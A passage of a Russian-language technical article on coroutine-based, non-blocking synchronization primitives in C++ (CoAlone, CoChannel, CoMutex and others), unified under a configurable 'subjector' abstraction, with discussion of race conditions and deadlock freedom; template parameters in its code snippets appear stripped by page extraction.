synca::Portal \_{alone\_};
return f(static\_cast(\*this));
}
private:
synca::Alone alone\_;
};
CoAlone reader;
```
Единственная разница в реализации по сравнению с `CoSerializedPortal` — замена планировщика `mt::ThreadPool` на `synca::Alone`.
### CoChannel
Введем понятие канала на сопрограммах. Идеологически, он похож на каналы `chan` в языке Go, т.е. это очередь (не обязательно, кстати, ограниченного размера, как это сделано в Go), в которую могут одновременно писать несколько производителей данных и одновременно читать потребители без дополнительной синхронизации с их стороны. Проще говоря, канал — это просто труба, в которую можно добавлять и забирать сообщения без боязни состояния гонки.
Идея использования канала состоит в том, что пользователи наших объектов записывают сообщения в канал, а потребителем является специально созданная сопрограмма, которая в бесконечном цикле вычитывает сообщения и диспетчеризует в соответствующий метод.
```
template
struct BaseChannel : T\_base
{
BaseChannel()
{
// создаем сопрограмму и запускаем цикл обработки сообщений
synca::go([&] { loop(); });
}
private:
void loop()
{
// цикл обработки сообщений
// автоматически обрывается при закрытии канала
for (auto&& action : channel\_) {
action();
}
}
synca::Channel channel\_;
};
CoChannel reader;
```
Тут сразу возникает два вопроса: первый и второй.
1. Что такое `Handler`?
2. Где, собственно, диспетчеризация?
`Handler` — это всего лишь `std::function`. Вся магия происходит не здесь, а в том, как создается этот `Handler` для автоматической диспетчеризации.
```
template
struct BaseChannel : T\_base
{
protected:
template
auto call(F&& f)
{
// перехватываем вызов метода с параметрами и записываем в fun
auto fun = [&] { return f(static\_cast(\*this)); };
// обложенный костылями результат вызова функции
WrappedResult result;
channel\_.put([&] {
try {
// если получилось вызвать без исключений - записываем результат
result.set(wrap(fun));
} catch (std::exception&) {
// иначе записываем текущее перехваченное исключение
result.setCurrentError();
}
// в конце обработчика возобновляем заснувшую сопрограмму
synca::done();
});
// а здесь засыпаем и ожидаем результата
synca::wait();
// возвращаем результат либо кидаем пойманное исключение
return result.get().unwrap();
}
};
```
Здесь происходит достаточно простое действие: перехваченный вызов метода внутри функтора `f` мы оборачиваем во `WrappedResult`, помещаем этот вызов внутрь канала и засыпаем. Этот отложенный вызов мы позовем внутри метода `BaseChannel::loop`, тем самым заполнив результат и возобновив заснувшую исходную сопрограмму.
Стоит сказать несколько слов о классе `WrappedResult`. Данный класс служит нескольким целям:
1. Он позволяет хранить либо результат вызова, либо пойманное исключение.
2. Помимо этого, он решает следующую задачу. Дело в том, что если функция не возвращает никаких значений (т.е. возвращает тип `void`), то конструкция присвоения результата без обертки была бы некорректной. Действительно, нельзя просто так взять, и записать в тип `void` результат `void`. Однако его разрешено возвращать, что и делает специализация `WrappedResult` через вызовы `.get().unwrap()`.
В результате мы имеем синхронизацию доступа к объекту через канал вызовов методов с захваченными параметрами. При этом все методы обрабатываются в отдельной, изолированной сопрограмме, которая и обеспечивает последовательное исполнение обработчиков для изменения нашего объекта.
### Обычная асинхронность
Давайте ради интереса попробуем точно такое же поведение реализовать без адаптера и сопрограмм, чтобы наиболее ярко продемонстрировать всю мощь и силу применяемых абстракций.
Для этого рассмотрим реализацию асинхронного спинлока:
```
struct AsyncSpinlock
{
void lock(std::function cb)
{
if (lock\_.test\_and\_set(std::memory\_order\_acquire)) {
// не получилось взять => перепланируем через планировщик
currentScheduler().schedule(
[this, cb = std::move(cb)]() mutable {
lock(std::move(cb));
});
} else {
cb();
}
}
void unlock()
{
lock\_.clear(std::memory\_order\_release);
}
private:
std::atomic\_flag lock\_ = ATOMIC\_FLAG\_INIT;
};
```
Здесь поменялся стандартный интерфейс спинлока. Этот интерфейс стал более громоздким и менее приятным.
Теперь реализуем класс `AsyncSpinlockReader`, который будет использовать наш асинхронный спинлок:
```
struct AsyncSpinlockReader
{
void read(Range range, const Options& options,
std::function cbBuffer)
{
spinlock\_.lock(
[this, range, options, cbBuffer = std::move(cbBuffer)] {
auto buffer = reader\_.read(range, options);
// повезло, что unlock синхронный,
// а то получилась бы прикольная лесенка из лямбд
spinlock\_.unlock();
cbBuffer(buffer);
});
}
private:
AsyncSpinlock spinlock\_;
Reader reader\_;
}
```
Как мы видим на примере метода `read`, асинхронный спинлок `AsyncSpinlock` обязательно сломает существующие интерфейсы наших классов.
А теперь рассмотрим использование:
```
// вместо
// CoSpinlock reader;
// auto buffer = reader.read(range, options);
AsyncSpinlockReader reader;
reader.read(buffer, options, [](const Buffer& buffer) {
// и вот здесь у нас буфер
// надо позаботиться о правильной передаче контекста внутрь лямбды
});
```
Давайте на минутку предположим, что `Spinlock::unlock` и вызов метода `Reader::read` тоже асинхронные. В это достаточно легко поверить, если предположить, что `Reader` тянет данные по сети, а вместо `Spinlock` используются, например, порталы. Тогда:
```
struct SuperAsyncSpinlockReader
{
// здесь намеренно опущена обработка ошибок,
// иначе мозг изменит свое агрегатное состояние
void read(Range range, const Options& options,
std::function cb)
{
spinlock\_.lock(
[this, range, options, cb = std::move(cb)]() mutable {
// первая неудача: read асинхронный
reader\_.read(range, options,
[this, cb = std::move(cb)](const Buffer& buffer) mutable {
// вторая неудача: спинлок асинхронный
spinlock\_.unlock(
[buffer, cb = std::move(cb)] {
// конец прикольной лесенки
cb(buffer);
});
});
});
}
private:
AsyncSpinlock spinlock\_;
AsyncNetworkReader reader\_;
}
```
Такой лобовой подход как бы намекает, что дальше будет только хуже, ведь рабочий код имеет тенденцию разрастаться и усложняться.
Естественно, что правильный подход с использованием сопрограмм делают такую схему синхронизации простой и понятной.
### Неинвазивная асинхронность
Все рассмотренные примитивы синхронизации являются *неявно асинхронными*. Дело в том, что в случае уже заблокированного ресурса при конкурентном доступе наша сопрограмма засыпает, чтобы проснуться в момент освобождения блокировки предыдущей сопрограммой. Если бы мы при этом использовали так называемые *stackless сопрограммы*, которые до сих пор маринуются в новом стандарте, то нам бы пришлось использовать ключевое слово `co_await`. А это, в свою очередь, означает, что каждый (!) вызов любого метода, обернутого через синхронизирующий адаптер, должен добавлять вызов `co_await`, меняя семантику и интерфейсы:
```
// без синхронизации
Buffer baseRead()
{
Reader reader;
return reader.read(range, options);
}
// callback-style
// изменяется интерфейс и семантика вызова
void baseRead(std::function cb)
{
AsyncReader reader;
reader.read(range, options, cb);
}
// stackless coroutines
// изменяется интерфейс, добавляется явная асинхронность
future\_t standardPlannedRead()
{
CoMutex reader;
return co\_await reader.read(range, options);
}
// stackful coroutines
// все остается неизменным
Buffer myRead()
{
CoMutex reader;
return reader.read(range, options);
}
```
Здесь при использовании *stackless* подхода происходит слом всех интерфейсов в цепочке вызовов. В этом случае ни о какой прозрачности речи и быть не может, т.к. нельзя просто так взять и заменить `Reader` на `CoMutex`. Такой инвазивный подход существенно ограничивает область применения *stackless сопрограмм*.
В то же время, такая проблема полностью отсутствует у подхода на основе *stackful сопрограмм*, используемых в настоящей статье.
Вам предоставляется уникальный выбор:
1. Использовать инвазивный ломающий подход завтра (через 3 года, может быть).
2. Использовать неинвазивный прозрачный подход сегодня (точнее, уже вчера).
### Гибридные подходы
Помимо вышеприведенных способов синхронизации можно ввести так называемые гибридные подходы. Дело в том, что часть синхронизирующих примитивов использует в качестве основы планировщик, который можно комбинировать с пулом потоков для дополнительной изоляции исполнения.
Рассмотрим синхронизацию через портал:
```
template
struct BasePortal : T\_base, private synca::SchedulerRef
{
template
BasePortal(mt::IScheduler& scheduler, V&&... v)
: T\_base{std::forward(v)...}
, synca::SchedulerRef{scheduler} // запоминаем планировщик
{
}
protected:
template
auto call(F&& f)
{
// перепланируем вызов f(...) через сохраненный планировщик
synca::Portal \_{scheduler()};
return f(static\_cast(\*this));
}
using synca::SchedulerRef::scheduler;
};
```
В конструкторе базового класса адаптера мы задаем планировщик `mt::IScheduler`, а затем перепланируем наш вызов `f(static_cast(\*this))` через портал сохраненного планировщика. Для использования такого подхода необходимо предварительно создать планировщик с 1 потоком для синхронизации исполнения:
```
// создаем единственный поток в пуле потоков для синхронизации
mt::ThreadPool serialized{1};
CoPortal reader1{serialized};
CoPortal reader2{serialized};
```
Таким образом оба экземпляра класса `Reader` будут сериализованы через один и тот же поток, принадлежащего пулу потоков `serialized`.
Подобный подход для изоляции исполнения можно использовать для `CoAlone` и `CoChannel`:
```
// т.к. CoAlone и CoChannel самостоятельно синхронизируют исполнение,
// то число потоков может быть произвольным
mt::ThreadPool isolated{3};
// здесь будет происходить синхронизация
// в пуле потоков isolated
CoAlone reader1{isolated};
// будет создана сопрограмма для чтения из канала
// в пуле потоков isolated
CoChannel reader2{isolated};
```
Субъектор
---------
Итак, у нас есть 5 различных неблокирующих способов эффективной синхронизации действий над объектом в пользовательском пространстве исполнения:
1. `CoSpinlock`
2. `CoMutex`
3. `CoSerializedPortal`
4. `CoAlone`
5. `CoChannel`
Все эти способы позволяют одинаковым образом взаимодействовать с объектом. Сделаем последний шаг для обобщения полученного кода:
```
#define BIND_SUBJECTOR(D_type, D_subjector, ...) \
template <> \
struct subjector::SubjectorPolicy \
{ \
using Type = D\_subjector; \
};
template
struct SubjectorPolicy
{
using Type = CoMutex;
};
template
using Subjector = typename SubjectorPolicy::Type;
```
Здесь мы создаем тип `Subjector`, который впоследствии можно будет переопределить на одно из 5 поведений. Например:
```
// допустим, что у класса Reader есть 3 метода: read, open, close
// сначала создаем адаптер для перехвата всех методов
DECL_ADAPTER(Reader, read, open, close)
// затем указываем, что Reader должен использовать CoChannel для синхронизации.
// если опустить эту строчку, то по умолчанию будет использован CoMutex,
// т.е. эта строка не является обязательной
BIND_SUBJECTOR(Reader, CoChannel)
// здесь используем уже настроенный субъектор - универсальный объект синхронизации
Subjector reader;
```
Если в будущем мы захотим использовать `Reader`, например, в другом изолированном потоке, то нам необходимо всего лишь поменять одну строчку:
```
BIND_SUBJECTOR(Reader, CoSerializedPortal)
```
Такой подход дает возможность тонкой настройки способа взаимодействия после написания и использования кода, и позволяет сконцентрироваться на решении более насущных проблем.
> Если вы используете язык с ранним связыванием, как делает большинство людей, вместо языка с поздним связыванием, вы окажетесь взаперти у проделанной работы. Переформулировать что-то будет уже непросто.
>
>
>
> *Алан Кей*.
>
>
Асинхронный вызов
-----------------
В рассмотренных примитивах синхронизации использовался синхронный неблокирующий вызов методов. Т.е. каждый раз мы дожидались окончания выполнения задачи и получения результата. Эта семантика соответствует обычному вызову методов объекта. Однако, в некоторых сценариях бывает полезно явно асинхронно запустить задачу, не дожидаясь результата, для распараллеливания исполнения.
Рассмотрим следующий пример:
```
class Network
{
public:
void send(const Packet& packet);
};
DECL_ADAPTER(Network, send)
BIND_SUBJECTOR(Network, CoChannel)
```
Если мы будем использовать код:
```
void sendPacket(const Packet& packet)
{
Subjector network;
network.send(myPacket);
// следующее действие не начнется,
// пока не завершится предыдущее
doSomeOtherStuff();
}
```
то действие `doSomeOtherStuff()` не начнется, пока не закончится выполнение `network.send()`. Для асинхронной отправки сообщения можно использовать следующий код:
```
void sendPacket(const Packet& packet)
{
Subjector network;
// запуск через .async()
network.async().send(myPacket);
// следующее действие начнется
// параллельно с предыдущим
doSomeOtherStuff();
}
```
И вуаля — синхронный код превратился в асинхронный!
Работает это следующим образом. Сначала создается специальная асинхронная обертка для адаптера `BaseAsyncWrapper` через использование [*странно рекурсивного шаблона*](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D1%80%D0%B0%D0%BD%D0%BD%D0%BE_%D1%80%D0%B5%D0%BA%D1%83%D1%80%D1%81%D0%B8%D0%B2%D0%BD%D1%8B%D0%B9_%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD):
```
template
struct BaseAsyncWrapper
{
protected:
template
auto call(F&& f)
{
return static\_cast(\*this).asyncCall(std::forward(f));
}
};
```
Т.е. вызов `.async()` перенаправляется в `BaseAsyncWrapper`, который перенаправляет вызов обратно в дочерний класс `T_derived`, но уже через использование метода `asyncCall` вместо `call`. Таким образом, для наших `Co`-объектов достаточно доопределить метод `asyncCall` в дополнении к `call`, чтобы такая функциональность заработала автоматически.
Для реализации `asyncCall` все способы синхронизации можно разделить на два класса:
* Изначально *синхронный вызов*: `CoSpinlock`, `CoMutex`, `CoSerializedPortal`, `CoAlone`. Для этого необходимо просто создать новую сопрограмму и запустить в ней наше действие на заданном планировщике.
```
template
struct Go : T\_base
{
protected:
template
auto asyncCall(F&& f)
{
return synca::go(
[ f = std::move(f), this ]() {
f(static\_cast(\*this));
},
T\_base::scheduler());
}
};
```
* Изначально *асинхронный вызов*: `CoChannel`. Для этого надо убрать ожидание и оставить изначальный асинхронный вызов.
```
template
struct BaseChannel : T\_base
{
template
auto asyncCall(F&& f)
{
channel\_.put([ f = std::move(f), this ] {
try {
f(static\_cast(\*this));
} catch (std::exception&) {
// do nothing due to async call
}
});
}
};
```
Характеристики
--------------
Различные характеристики описанных подходов сведены в следующую таблицу:
1*При использовании асинхронного вызова одновременно с гибридным подходом*.
2*При использовании гибридного подхода*.
Рассмотрим более детально каждую колонку.
### Легковесность
Самый легковесный примитив из рассматриваемых — это, безусловно, `CoSpinlock`. Действительно, он содержит только атомарные инструкции и перепланирование в случае уже заблокированного ресурса. `CoSpinlock` имеет смысл использовать в ситуациях кратковременных блокировок, т.к. в противном случае он начинает нагружать планировщик бесполезной работой для проверки атомарной переменной с последующем перепланированием сопрограммы. Другие рассматриваемые примитивы синхронизации используют более тяжеловесную синхронизацию своих объектов, однако в случае наличия конфликтов не нагружают планировщик.
### FIFO
FIFO или first-in-first-out гарантия — это гарантия очереди, т.е. кто первее позвал `.lock()`, тот первее его и возьмет. Стоит отметить, что если в программе есть единственный планировщик и этот планировщик дает FIFO гарантию, то даже этом случае `CoSpinlock` не дает FIFO-гарантии.
### Deadlock-free
Как понятно из названия, такой примитив синхронизации никогда не дает взаимных блокировок. Такую гарантию предоставляют примитивы на основе планировщика.
### Неразрывность
Под неразрывностью я понимаю неразрывность взятой блокировки, как если бы синхронизация была через мьютекс. Оказывается, что неразрывность тесно связана со свойством deadlock-free. На этой теме я хотел бы остановиться более подробно чуть ниже, т.к. она важна для глубокого понимания способов синхронизации и представляет определенный практический интерес.
### Изолированность
Частично понятие изолированности уже было использовано при рассмотрении `CoPortal`. Изолированность — это свойство исполнять метод в изолированном пуле потоков. Этим свойством по умолчанию обладает лишь `CoSerializedPortal`, т.к. он внутри себя создает пул потоков из одного потока для синхронизации исполнения. При синхронном исполнении, как уже было рассмотрено ранее, таким свойством могут также обладать примитивы, использующие планировщик: `CoAlone` и `CoChannel`. При асинхронном вызове происходит разветвление исполнения. Эту задачу решает планировщик, а значит появляется возможность изоляции выполнения кода и для других способов.
### Асинхронность
Все способы, за исключением `CoChannel`, используют текущую сопрограмму для запуска синхронного действия. И только `CoChannel` запускает параллельно операцию и дожидается окончания исполнения. Т.е. нативный способ исполнения для этого примитива синхронизации — это асинхронный запуск задачи. А значит он может лучше:
1. *Параллелиться*: эффективно исполнять различные стадии обработки.
2. *Сохранять контекст объекта*: минимум переключений контекста для синхронизируемого объекта, данные объекта не вымываются из кеша процессора, ускоряя обработку.
Взаимные блокировки, гонки и взаимосвязь.
-----------------------------------------
Я люблю задавать следующую задачу.
*Задача 1*. Предположим, что все методы нашего класса синхронизированы через мьютекс. Внимание, вопрос: возможно ли состояние гонки?
Очевидный ответ: нет. Однако здесь чувствуется некий подвох. Мысль начинает крутиться в голове, мозг начинает предлагать безумные варианты, не соответствующие условию задачи. В результате все превращается в тлен и возникает безысходность.
Советую тщательно подумать перед тем, как подсмотреть ответ. Но чтобы не сломать мозг, ниже приведено решение этой задачи.
Рассмотрим класс:
```
struct Counter
{
void set(int value);
int get() const;
private:
int value_ = 0;
};
```
Обернем:
```
DECL_ADAPTER(Counter, set, get)
Subjector counter;
```
Методы `get` и `set` будут обернуты асинхронным мьютексом, хотя асинхронность тут не принципиальна. Важна синхронизация.
А теперь хотим решить задачу:
*Задача 2*. Атомарно увеличить счетчик на единицу.
И тут многих внезапно осеняет:
```
counter.set(counter.get() + 1);
```
Приведенный код содержит состояние гонки, невзирая на то, что каждый вызов по отдельности синхронизирован!
Чтобы разобраться во всем многообразии состояний гонок имеет смысл ввести следующие категории.
### Состояние гонки первого рода.
Или иначе data race, описанный в стандарте:
> The execution of a program contains a data race if it contains two potentially concurrent conflicting actions, at least one of which is not atomic, and neither happens before the other, except for the special case for signal handlers described below. Any such data race results in undefined behavior.
>
>
>
> *[C++17 Standard N4659, §4.7.1 (20.2)](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2017/n4659.pdf)*
>
>
Типичный пример этого случая — когда в двух различных потоках делаются действия по изменению состояния без какой-либо синхронизации, например `std::vector::push_back(value)`. В лучшем случае программа упадет, в худшем — незаметно испортит данные (да, в этом случае падение — благо). Для отлова подобного рода проблем существуют специальные инструменты:
1. [ThreadSanitizer](https://clang.llvm.org/docs/ThreadSanitizer.html): позволяет детектировать проблемы в runtime.
2. [Helgrind: a thread error detector](http://valgrind.org/docs/manual/hg-manual.html): инструмент Valgrind для обнаружения ошибок синхронизации.
3. [Relacy race detector](https://github.com/dvyukov/relacy): верифицирует многопоточные [lock-free/wait-free](https://ru.wikipedia.org/wiki/%D0%9D%D0%B5%D0%B1%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D1%83%D1%8E%D1%89%D0%B0%D1%8F_%D1%81%D0%B8%D0%BD%D1%85%D1%80%D0%BE%D0%BD%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F) алгоритмы с учетом модели памяти.
### Состояние гонки второго рода.
Это все состояния гонки, которые не подпадают под первую категорию. Это более высокоуровневые условия, которые описываются логикой программы и ее инвариантами, поэтому они не могут быть задетектированы низкоуровневыми инструментами и верификаторами. Как правило, они возникают при разрыве атомарного поведения, как в приведенном выше примере со счетчиком `counter.set(counter.get() + 1)`. Это происходит из-за того, что `.get()` и `.set()` синхронизируются раздельно.
На данный момент инструменты для анализа такого рода проблем находятся на начальной стадии развития. Ниже приведен краткий список с минимальными комментариями, т.к. детальное описание выходит за рамки этой статьи:
1. [Node.fz: fuzzing the server-side event-driven architecture](https://people.cs.vt.edu/~dongyoon/papers/EUROSYS-17-NodeFz.pdf): исследователи находят баги, связанные с конкурентным взаимодействием, в однопоточном (!) асинхронном коде.
2. [An empirical study on the correctness of formally verified distributed systems](https://homes.cs.washington.edu/~pfonseca/papers/eurosys2017-dsbugs.pdf): исследование корректности формально верифицированных систем. Т.е. они находят ошибки там, где их не должно быть в принципе!
### Неразрывность и асинхронность
При добавлении асинхронного поведения возможны непредвиденные способы исполнения программы, что приводит к потрясающей возможности лишний раз удивиться некорректному поведению. Для этого рассмотрим синхронизацию через `CoAlone`:
```
struct User
{
void setName(const std::string& name);
std::string getName() const;
void setAge(int age);
int getAge() const;
};
DECL_ADAPTER(User, setName, getName, setAge, getAge)
BIND_SUBJECTOR(User, CoAlone)
struct UserManager
{
void increaseAge()
{
user_.setAge(user_.getAge() + 1);
}
private:
Subjector user\_;
};
UserManager manager;
// race condition 2-го рода
manager.increaseAge();
```
Здесь в строчке `manager.increaseAge()` уже известное нам состояние гонки 2-го рода, приводящее к неконсистентному поведению в случае конкурентного вызова метода `increaseAge()` в двух разных потоках.
Можно попытаться исправить такое поведение:
```
struct UserManager
{
void increaseAge()
{
user_.setAge(user_.getAge() + 1);
}
private:
Subjector user\_;
};
DECL\_ADAPTER(UserManager, increaseAge)
BIND\_SUBJECTOR(UserManager, CoAlone)
Subjector manager;
manager.increaseAge();
```
Для синхронизации в обоих случаях мы используем `CoAlone`. Возникает вопрос: будет ли состояние гонки в этом случае?
Будет! Несмотря на синхронизацию, этот пример также подвержен проблеме состояния гонки 2-го рода. Действительно, при синхронизации `UserManager` текущая сопрограмма запускается на планировщике `Alone`. Затем при вызове `user_.getAge()` происходит телепортация на другой планировщик `Alone`, принадлежащий `User`. Т.е. другая запущенная сопрограмма теперь в состоянии войти внутрь метода `increaseAge()` параллельно с текущей, которая в этот момент находится внутри `user_.getAge()`. Это возможно, т.к. `Alone` гарантирует лишь отсутствие параллельного исполнения в своем планировщике. В данном случае происходит параллельное исполнение в двух разных планировщиках: `CoAlone` и `CoAlone`.
Таким образом, происходит разрыв атомарного исполнения в случае использования синхронизации на основе планировщиков: `CoAlone` и `CoPortal`.
Для исправления этой ситуации достаточно заменить:
```
BIND_SUBJECTOR(UserManager, CoMutex)
```
Это предотвратит состояние гонки второго рода.
### Ожидание выполнения
В некоторых случаях разрыв синхронизации при исполнении кода бывает крайне полезен. Для этого рассмотрим следующий пример:
```
struct UI
{
// метод, срабатывающий при клике на карточке пользователя
void onRequestUser(const std::string& userName);
// обновляет в окне информацию о пользователе
void updateUser(const User& user);
};
DECL_ADAPTER(UI, onRequestUser, updateUser)
// UI присоединяется к существующему главному UI потоку
BIND_SUBJECTOR(UI, CoPortal)
struct UserManager
{
// запрашивает информацию о пользователе
User getUser(const std::string& userName);
private:
void addUser(const User& user);
User findUser(const std::string& userName);
};
DECL_ADAPTER(UserManager, getUser)
BIND_SUBJECTOR(UserManager, CoAlone)
struct NetworkManager
{
// загружает информацию о пользователе с сервера
User getUser(const std::string& userName);
};
DECL_ADAPTER(NetworkManager, getUser)
// сетевые операции запускаются вне основных потоков изолированно
BIND_SUBJECTOR(NetworkManager, CoSerializedPortal)
// функции, возвращающие глобальные экземпляры классов
Subjector& getUserManager();
Subjector& getNetworkManager();
Subjector& getUI();
void UI::onRequestUser(const std::string& userName);
{
updateUser(getUserManager().getUser(userName));
}
void UserManager::getUser(const std::string& userName)
{
auto user = findUser(userName);
if (user) {
// если пользователь найден, то возвращаем его
return user;
}
// если пользователь не найден,
// то запрашиваем пользователя по сети
user = getNetworkManager().getUser(userName);
// добавляем пользователя, чтобы избежать повторного запроса
addUser(user);
return user;
}
```
Все действие начинается с вызова `UI::onRequestUsername`. В этот момент в UI потоке происходит вызов `UserManager::getUser` через соответствующий субъектор. Этот субъектор сначала переключает исполнение с UI потока на другой планировщик `Alone`, а затем вызывает непосредственно сам метод. При этом UI поток разблокируется и может выполнять другие действия. Таким образом, вызов происходит асинхронно, а значит не блокирует UI, не заставляя его лагать.
Если `UserManager` уже содержит информацию о запрашиваемом пользователе — то задача решена, и мы тотчас его возвращаем. В противном случае мы запрашивает необходимую информацию по сети через `NetworkManager`. И вновь мы не блокируем `UserManager` на время выполнения долгого запроса по сети. Если в этот момент пользователь запросил какую-то другую информацию из `UserManager` параллельно, то мы сможем ее предоставить без ожидания завершения изначальной операции! Т.е. в данном случае разрыв исполнения только улучшает отзывчивость и обеспечивает параллельность выполнения запросов. При этом мы не прикладывали для этого никаких усилий, через субъекторы все синхронизируется и асинхронно перепланируется автоматически. Чудеса, да и только!
### Взаимные блокировки
Еще одна уникальная возможность, которой обладают субъекторы на основе планировщиков — это отсутствие взаимных блокировок. Смотрим:
```
// forward declaration
struct User;
DECL_ADAPTER(User, addFriend, getId, addFriendId)
struct User
{
void addFriend(Subjector& myFriend)
{
auto friendId = myFriend.getId();
if (hasFriend(friendId)) {
// если друг уже отмечен - то ничего не делаем
return;
}
addFriendId(friendId);
auto myId = getId();
myFriend.addFriendId(myId);
}
Id getId() const;
void addFriendId(Id id);
private:
bool hasFriend(Id id);
};
// подружиться
void makeFriends(Subjector& u1, Subjector& u2)
{
u1.addFriend(u2);
}
```
Т.к. по умолчанию используется `CoMutex`, то `makeFriends` при параллельном вызове различных методов иногда будет виснуть наглухо. Как исправить эту ситуацию, не переписывая весь код с нуля? Нужно добавить одну единственную строчку:
```
BIND_SUBJECTOR(User, CoAlone)
```
Теперь, как бы вы не издевались над вызовами, во сколько бы потоков и как часто бы не запускали эти методы, вам никогда не удастся получить взаимной блокировки. Могли ли вы когда-нибудь помыслить, что такое вообще возможно? Очевидно, нет.
### Транзакционность и взаимосвязь
Если внимательно присмотреться к таблице сравнительных характеристик различных способов взаимодействия, то можно увидеть взаимосвязь: если присутствует *неразрывность*, то отсутствует *deadlock-free*, и наоборот. В целом, можно показать, что в случае описанных способов синхронизации нельзя одновременно выполнить оба свойства. Тем не менее, при применении особых методик транзакционного исполнения с учетом планирования и отслеживания зависимостей такое поведение оказывается возможным. Однако это тянет на отдельную статью и здесь рассмотрено не будет.
Обсуждение
----------
Мы получили 5 различных способов синхронизации синхронного исполнения. Добавив к этому 3 гибридных подхода и удвоив полученный результат для учета явных асинхронных вызовов в результате получаем 16 различных вариантов неблокирующей асинхронной синхронизации в пространстве пользователя без необходимости переключения в пространство ядра. До тех пор, пока есть какая-либо работа, она будет выполняться, максимально нагружая все ядра процессора. При этом пользователь вправе выбирать тот способ синхронизации, который ему необходим, исходя из логики приложения и взаимосвязей между данными.
Среди всех этих 16 способов особое место занимает один, снискавший на сегодня немалую популярность: `CoChannel.async().someMethod(...)`. Такое взаимодействие, примененное для всех участников процесса, называют [моделью акторов](https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C_%D0%B0%D0%BA%D1%82%D0%BE%D1%80%D0%BE%D0%B2). Действительно, в качестве mailbox выступает канал, который автоматически диспетчеризует входящие сообщения, соответствующие методам класса, используя всю мощь статической типизиции С++, ООП и шаблонного метапрограммирования на макросах. При этом, модель акторов, хотя и не требует дополнительной синхронизации, тем не менее остается подверженной гонкам второго рода, что, в свою очередь, полностью исключает взаимные блокировки.
Приведенная субъекторная модель обладает гораздо большей вариативностью, позволяя впоследствии изменять конкретный способ конкурентного взаимодействия без слома существующих интерфейсов и реализации. Конкретный выбор зависит от обстоятельств, а рассуждения, приведенные в статье, могут являться отправной точкой для принятия того или иного решения. Каждый из способов обладает своей особенностью и уникальностью, при этом серебряную пулю опять не завезли.
Заключение: субъекторная модель
-------------------------------
Кратко перечислим основные достижения:
1. *Интеграция синхронизации*. Всё необходимое для синхронизации находится внутри нашей сущности, которая превращается из пассивного объекта в активный участник процесса — **субъектор**.
2. *Глубокая абстракция исполнения*. Предложенная модель вводит единую абстракцию через обобщенное понимание принципов объектно-ориентированного программирования. В ней соединяются разнообразные примитивы воедино, порождая универсальную модель.
3. *Неинвазивность*. Субъектор не меняет интерфейсы исходного класса, а значит позволяет прозрачно добавлять объект синхронизации без какого-либо рефакторинга кода.
4. *Защищенность от ошибок многопоточного проектирования*. Универсальный адаптер гарантированно и автоматически выполняет все требуемые шаги для синхронизации исполнения. Это избавляет от необходимости аннотировать или комментировать поля и методы класса, описывая требуемый контекст использования и способ вызова. Субъектор изолирует все доступные поля и методы класса, предотвращая огромный класс наиболее коварных ошибок, связанных с параллельным и конкурентным программированием, отдавая задачу синхронизации доступа к объекту компилятору.
5. *Поздняя оптимизация*. На основе локальности данных и текущего паттерна использования можно переключать различные типы синхронизации для достижения наилучших результатов на конечном этапе написания приложения.
6. *Эффективность*. Подход реализует переключения контекста исключительно в пользовательском пространстве через использование сопрограмм, что дает минимальные накладные расходы и максимальное использование вычислительных ресурсов.
7. *Ясность, чистота и простота кода*. Нет необходимости в явном отслеживании использования корректного контекста синхронизации и рассуждать о том, когда и какие переменные окружать защитниками `guard`, мьютексами, какие использовать планировщики, потоки и т.д. Это дает более простую компонуемость различных частей, позволяя разработчику сконцентрироваться на решении конкретной задачи, а не на борьбу по нахождению трудноуловимых проблем.
Как известно, модель упрощается при обобщении. Философия объектно-ориентированного программирования заставляет по-другому взглянуть на традиционные вещи и увидеть потрясающие абстракции. Синергия таких, казалось бы несовместимых вещей, как ООП, сопрограммы, каналы, мьютексы, спинлоки, потоки и планировщики порождает новую модель конкурентных взаимодействий, обобщая всем известную модель акторов, традиционную модель на основе мьютексов и модель [взаимодействующих последовательных процессов](https://ru.wikipedia.org/wiki/%D0%92%D0%B7%D0%B0%D0%B8%D0%BC%D0%BE%D0%B4%D0%B5%D0%B9%D1%81%D1%82%D0%B2%D1%83%D1%8E%D1%89%D0%B8%D0%B5_%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D1%8B), стирая грань между двумя различными способами взаимодействия: через [разделяемую память](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D0%B4%D0%B5%D0%BB%D1%8F%D0%B5%D0%BC%D0%B0%D1%8F_%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D1%8C) и через [обмен сообщениями](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D0%BC%D0%B5%D0%BD_%D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D1%8F%D0%BC%D0%B8).
Имя этой обобщенной модели конкурентного взаимодействия: **субъекторная модель**.
<https://github.com/gridem/Subjector>
Литература
----------
[1] [Асинхронность: назад в будущее](https://habrahabr.ru/post/201826/)
[2] [Асинхронность 2: телепортация сквозь порталы](https://habrahabr.ru/company/yandex/blog/240525/)
[3] [Blog: God Adapter](http://gridem.blogspot.com/2015/11/replicated-object-part-2-god-adapter.html)
[4] [Универсальный адаптер](https://habrahabr.ru/post/340314/)
[5] [Доклад: универсальный адаптер](http://www.cpp-russia.ru/talks/grigoriy-demchenko)
[6] [Видео: универсальный адаптер](https://www.youtube.com/watch?v=mnH_-qFU5E0)
[7] [S. Djurović, M. Ćirišan, A.V Demura, G.V Demchenko, D. Nikolić, M.A. Gigosos, et al., Measurements of Hβ Stark central asymmetry and its analysis through standard theory and computer simulations, Phys. Rev. E 79 (2009) 46402.](https://www.researchgate.net/profile/Dragan_Nikolic2/publication/252317673_Experimental_and_Theoretical_Analysis_of_Central_Hb_Asymmetry/links/5658034308ae1ef9297bf662/Experimental-and-Theoretical-Analysis-of-Central-Hb-Asymmetry.pdf)
[8] [Квантовая химия](https://ru.wikipedia.org/wiki/%D0%9A%D0%B2%D0%B0%D0%BD%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D1%85%D0%B8%D0%BC%D0%B8%D1%8F)
